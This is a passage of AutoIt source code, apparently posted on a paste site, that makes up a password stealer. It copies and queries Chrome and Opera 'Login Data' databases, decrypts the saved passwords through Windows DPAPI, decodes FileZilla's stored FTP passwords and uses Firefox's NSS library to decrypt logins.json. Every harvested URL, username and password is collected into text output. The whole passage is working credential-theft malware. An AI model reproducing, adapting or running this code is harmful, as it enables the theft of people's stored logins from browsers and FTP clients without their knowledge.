- _SQLite_Shutdown()
- If FileExists($TempData) Then
- FileDelete($TempData)
- EndIf
- For $i = 1 To UBound($aResult) - 1
- $pass = UncryptRDPPassword($aResult[$i][5])
- If Not (Binary($pass) = "0x00000000") Then
- $sWeb &= 'URL = ' & $aResult[$i][0] & @CRLF & 'User = ' & $aResult[$i][3] & @CRLF & 'Pass = ' & $pass & @CRLF & @CRLF
- EndIf
- $pass = ""
- Next
- $aResult = 0
- $sResult = @CRLF & $sBrowser & @CRLF & @CRLF & $sWeb
- Return $sResult
- EndFunc ;==>Chrome
- Func Opera()
- Local $sWeb, $aResult, $iRows, $iColumns, $iRval, $hData, $UserLocal, $sBrowser, $sDataLoginPath
- $sDataLoginPath = _WinAPI_ShellGetSpecialFolderPath(0x001A) & "\Opera Software\Opera Stable\Login Data"
- $sBrowser = "######## [ Opera Password ] ########"
- Local $TempData = @TempDir & "\TempData.db"
- Local $sPathData = ""
- FileCopy($sDataLoginPath, $TempData, 1)
- Sleep(4000)
- If FileExists($TempData) Then
- $sPathData = $TempData
- EndIf
- _SQLite_Startup($sSQliteDll)
- If @error Then Return
- $hData = _SQLite_Open($sPathData)
- If @error Then Return
- $iRval = _SQLite_GetTable2d(-1, "SELECT * FROM logins;", $aResult, $iRows, $iColumns)
- _SQLite_Close($hData)
- _SQLite_Shutdown()
- If FileExists($TempData) Then
- FileDelete($TempData)
- EndIf
- For $i = 1 To UBound($aResult) - 1
- $pass = UncryptRDPPassword($aResult[$i][5])
- If Not (Binary($pass) = "0x00000000") Then
- $sWeb &= 'URL = ' & $aResult[$i][0] & @CRLF & 'User = ' & $aResult[$i][3] & @CRLF & 'Pass = ' & $pass & @CRLF & @CRLF
- EndIf
- $pass = ""
- Next
- $aResult = 0
- $sResult = @CRLF & $sBrowser & @CRLF & @CRLF & $sWeb
- Return $sResult
- EndFunc ;==>Opera
- Func _WinAPI_ShellGetSpecialFolderPath($CSIDL)
- Local $tPath = DllStructCreate('wchar[1024]')
- Local $ret = DllCall('shell32.dll', 'int', 'SHGetSpecialFolderPathW', 'hwnd', 0, 'ptr', DllStructGetPtr($tPath), 'int', $CSIDL, 'int', 0)
- If (@error) Or ($ret[0] = 0) Then
- Return SetError(1, 0, '')
- EndIf
- Return DllStructGetData($tPath, 1)
- EndFunc ;==>_WinAPI_ShellGetSpecialFolderPath
- Func UncryptRDPPassword($bin)
- ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
- Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
- Local Const $DATA_BLOB = "int;ptr"
- Local $passStr = DllStructCreate("byte[1024]")
- Local $DataIn = DllStructCreate($DATA_BLOB)
- Local $DataOut = DllStructCreate($DATA_BLOB)
- $pwDescription = 'psw'
- $PwdHash = ""
- DllStructSetData($DataOut, 1, 0)
- DllStructSetData($DataOut, 2, 0)
- DllStructSetData($passStr, 1, $bin)
- DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
- DllStructSetData($DataIn, 1, BinaryLen($bin))
- $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
- "ptr", DllStructGetPtr($DataIn), _
- "ptr", 0, _
- "ptr", 0, _
- "ptr", 0, _
- "ptr", 0, _
- "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
- "ptr", DllStructGetPtr($DataOut))
- If @error Then Return ""
- $len = DllStructGetData($DataOut, 1)
- $PwdHash = Ptr(DllStructGetData($DataOut, 2))
- $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
- Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
- EndFunc ;==>UncryptRDPPassword
- Func _Get_Logindata($TEmpdirlogindata)
- Local $AllProfileChrome[2][2]
- __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
- If Not @error Then $AllProfileChrome[1][1] = "######## [ Chrome Password ] ########"
- $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
- If Not @error Then
- ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- $AllProfileChrome[0][0] += 1
- $AllProfileChrome[$AllProfileChrome[0][0]][1] = "######## [ Opera Password ] ########"
- $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
- EndIf
- If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
- Return $AllProfileChrome
- EndFunc ;==>_Get_Logindata
- Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
- Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
- If Not FileExists($OperaPath) Then Return SetError(1)
- FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
- If @error Then Return $OperaPath
- Return $OperaCopyloginPath & "Op"
- EndFunc ;==>__OPeraPassword_Find_LoginData
- Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
- Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
- If Not FileExists($ChromePath) Then Return SetError(1)
- Local $Sname
- If FileExists($ChromePath & "Default\Login Data") Then
- $AllProfileChrome[0][0] = 1
- $Sname = $AllProfileChrome[0][0]
- FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
- If @error Then
- $ChromeCopyloginPath = $ChromePath & "Default\"
- $Sname = "Login Data"
- EndIf
- $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
- EndIf
- Local $search = FileFindFirstFile($ChromePath & "*.*")
- If $search = -1 Then Return SetError(2)
- While True
- Local $file = FileFindNextFile($search)
- If @error Then ExitLoop
- If Not @extended Then ContinueLoop
- If StringInStr($file, "Profile") > 0 Then
- If FileExists($ChromePath & $file & "\Login Data") Then
- ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- $AllProfileChrome[0][0] += 1
- $Sname = $AllProfileChrome[0][0]
- FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
- If @error Then
- $ChromeCopyloginPath = $ChromePath & $file & "\"
- $Sname = "Login Data"
- EndIf
- $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
- EndIf
- EndIf
- WEnd
- FileClose($search)
- If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
- EndFunc ;==>__ChromePassword_Find_LoginData
- Func filezilla()
- Local $pwds, $h, $fn = EnvGet("appdata") & "\filezilla\recentservers.xml"
- If FileExists($fn) = False Then Return ""
- $h = FileOpen($fn, 0)
- If $h = -1 Then Return ""
- $host = ""
- $port = 21
- $usr = ""
- $pass = ""
- While True
- $line = FileReadLine($h)
- If @error = -1 Then ExitLoop
- If StringInStr($line, "<host>") Then
- $usr = ""
- $pass = ""
- $port = 21
- $host = StringMid($line, 1, StringInStr($line, "</") - 1)
- $host = StringMid($host, StringInStr($host, ">") + 1)
- EndIf
- If StringInStr($line, "<port>") Then
- $port = StringMid($line, 1, StringInStr($line, "</") - 1)
- $port = StringMid($port, StringInStr($port, ">") + 1)
- EndIf
- If StringInStr($line, "<user>") Then
- $usr = StringMid($line, 1, StringInStr($line, "</") - 1)
- $usr = StringMid($usr, StringInStr($usr, ">") + 1)
- EndIf
- If StringInStr($line, "<pass") Then
- $pass = StringMid($line, 1, StringInStr($line, "</") - 1)
- $pass = StringMid($pass, StringInStr($pass, '>') + 1)
- $pass = DecB64($pass)
- EndIf
- If StringInStr($line, "</server>") Then
- $pwds = $pwds & "URL = Ftp://" & $host & ":" & $port & @CRLF & "User = " & $usr & @CRLF & "Pass = " & BinaryToString($pass) & @CRLF & @CRLF
- EndIf
- WEnd
- Return $pwds
- EndFunc ;==>filezilla
- Func DecB64($sb64string)
- Local $acrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sb64string, "dword", 0, "dword", 1, "ptr", 0, "dword*", 0, "ptr", 0, "ptr", 0)
- If @error Or Not $acrypt[0] Then Return SetError(1, 0, "")
- Local $bbuffer = DllStructCreate("byte[" & $acrypt[5] & "]")
- $acrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sb64string, "dword", 0, "dword", 1, "struct*", $bbuffer, "dword*", $acrypt[5], "ptr", 0, "ptr", 0)
- If @error Or Not $acrypt[0] Then Return SetError(2, 0, "")
- Return DllStructGetData($bbuffer, 1)
- EndFunc ;==>DecB64
- Func _Firefox_Password_recovery(ByRef $Password)
- Local $sFireFoxPath = _GetFireFoxinstallPath()
- If @error Then Return
- Local $sFireFoxProfilePath = _FireFoxProFilePath()
- If @error Then Return
- Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
- Local $ReadJson = FileRead($sJsonFile)
- If @error Or $ReadJson = "" Then Return
- Local $aList = __GetJsonArray($ReadJson)
- If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then Return
- Local $DllDecrypt = _GetFireFoxDllDecryptPath($sFireFoxPath)
- If @error Then Return
- Local $h_mozglue = _WinAPI_LoadLibrary($DllDecrypt[1])
- If @error Then Return
- Local $h_msvcr = _WinAPI_LoadLibrary($DllDecrypt[2])
- If @error Then Return
- Local $h_msvcp = _WinAPI_LoadLibrary($DllDecrypt[3])
- If @error Then Return
- Local $h_NSS3 = DllOpen($DllDecrypt[0])
- If Not @error Then
- DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sFireFoxProfilePath)
- If Not @error Then
- Local $hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
- If Not @error Then
- $hSlot = $hSlot[0]
- $Password &= @CRLF & "######## [ FireFox Password ] ########" & @CRLF & @CRLF & @CRLF
- For $i = 0 To UBound($aList) - 1 Step 6
- $Password &= "URL: " & $aList[$i + 1] & @CRLF & _
- "User: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 3]) & @CRLF & _
- "Pass: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 5]) & @CRLF & @CRLF
- Next
- DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
- EndIf
- DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
- EndIf
- DllClose($h_NSS3)
- EndIf
- _WinAPI_FreeLibrary($h_msvcr)
- _WinAPI_FreeLibrary($h_msvcp)
- _WinAPI_FreeLibrary($h_mozglue)
- EndFunc ;==>_Firefox_Password_recovery
- Func __GetJsonArray($sData)
- Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
- Return $aList
- EndFunc ;==>__GetJsonArray
- Func _GetFireFoxDllDecryptPath($sFireFoxPath)
- Local $DLLdir[4]
- Local $msvcr = "msvcr100.dll"
- Local $msvcp = "msvcp100.dll"
- Local $mozglue = "mozglue.dll"
- Local $nss3 = "nss3.dll"
- If Not FileExists($sFireFoxPath & $mozglue) Or Not FileExists($sFireFoxPath & $nss3) Then Return SetError(1)
- $DLLdir[1] = $sFireFoxPath & $mozglue
- $DLLdir[0] = $sFireFoxPath & $nss3
- Local $findDll
- If Not FileExists(@SystemDir & '\' & $msvcr) Then
- $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcr")
- If @error Then Return SetError(3)
- $DLLdir[2] = $sFireFoxPath & $msvcr
- Else
- $DLLdir[2] = @SystemDir & '\' & $msvcr
- EndIf
- If Not FileExists(@SystemDir & '\' & $msvcp) Then
- $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcp")
- If @error Then Return SetError(3)
- $DLLdir[3] = $sFireFoxPath & $findDll
- Else
- $DLLdir[3] = @SystemDir & '\' & $msvcp
- EndIf
- Return $DLLdir
- EndFunc ;==>_GetFireFoxDllDecryptPath
- Func _GetFireFoxinstallPath()
- Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\"
- Local $F_Version = RegRead($sRegFireFox & "Mozilla Firefox", "currentversion")
- If $F_Version = "" Then Return SetError(1)
- Local $F_Path = RegRead("HKLM\SOFTWARE\mozilla\mozilla firefox\" & $F_Version & "\main", "install directory")
- If $F_Path = "" Then Return SetError(1)
- If Not FileExists($F_Path) Then SetError(1)
- Return $F_Path & "\"
- EndFunc ;==>_GetFireFoxinstallPath
- Func _FireFoxProFilePath()
- Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
- Local $Rduni = IniRead($sPath & "profiles.ini", "Profile0", "Path", "")
- If $Rduni = "" Then Return SetError(1)
- Return $sPath & $Rduni & "\"
- EndFunc ;==>_FireFoxProFilePath
- Func __FireFoxDecrypt($h_NSS3, $hSlot, $sCryptedData)
- Local $tByteData, $iRet, $dwSize, $DataIn, $DataOut, $tData
- $tByteData = DllStructCreate("byte Data[1024]")
- $iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", 0x00000001, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
- If Not @error Then
- $dwSize = $iRet[5]
- DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", 0)
- If @error Then Return ""
- $DataIn = DllStructCreate("dword SECItemType;ptr Data;dword Len")
- DllStructSetData($DataIn, "Data", DllStructGetPtr($tByteData))
- DllStructSetData($DataIn, "len", $dwSize)
- $DataOut = DllStructCreate("dword SECItemType;ptr Data;dword Len")
- DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", 0)
- If @error Then Return ""
- $tData = DllStructCreate("char String[" & DllStructGetData($DataOut, "len") & "]", DllStructGetData($DataOut, "Data"))
- $sDecrypData = DllStructGetData($tData, "String")
- Return $sDecrypData
- EndIf
- Return ""
- EndFunc ;==>__FireFoxDecrypt
- Func _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, $Sdll)
- Local $search = FileFindFirstFile($sFireFoxPath & "*.dll")
- If $search = -1 Then Return SetError(1)
- Local $SRDll
- While True
- Local $file = FileFindNextFile($search)
- If @error Then ExitLoop
- If StringInStr($file, $Sdll) > 0 Then
- $SRDll = $file
- ExitLoop
- EndIf
- WEnd
- FileClose($search)
- If $SRDll = "" Then Return SetError(2)
- Return $SRDll
- EndFunc ;==>_Find_Dll_IN_Mozilla_PAth
- Func _CurrentLang()
- Local $sLanNum = "0413,0813|0409,0809,0c09,1009,1409,1809,1c09,2009,2409,2809," & _
- "2c09,3009,3409|040c,080c,0c0c,100c,140c,180c|0407,0807,0c07,1007," & _
- "1407|0410,0810|0414,0814|0415|0416,0816|040a,080a,0c0a,100a,140a," & _
- "180a,1c0a,200a,240a,280a,2c0a,300a,340a,380a,3c0a,400a,440a,480a," & _
- "4c0a,500a|041d,081d"
- Local $aLanName = StringSplit("Dutch|English|French|German|Italian|" & _
- "Norwegian|Polish|Portuguese|Swedish", "|")
- Local $aLanNum = StringSplit($sLanNum, "|")
- Local $sLang = StringRight(RegRead("HKCU\Keyboard Layout\Preload","1"), 4)
- If $sLang = "" Then Return SetError(1, 0, "Not Defined")
- For $iCC = 1 To UBound($aLanNum) - 1
- If StringInStr($aLanNum[$iCC], $sLang) Then Return $aLanName[$iCC]
- Next
- Return SetError(2, 0, "Other")
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement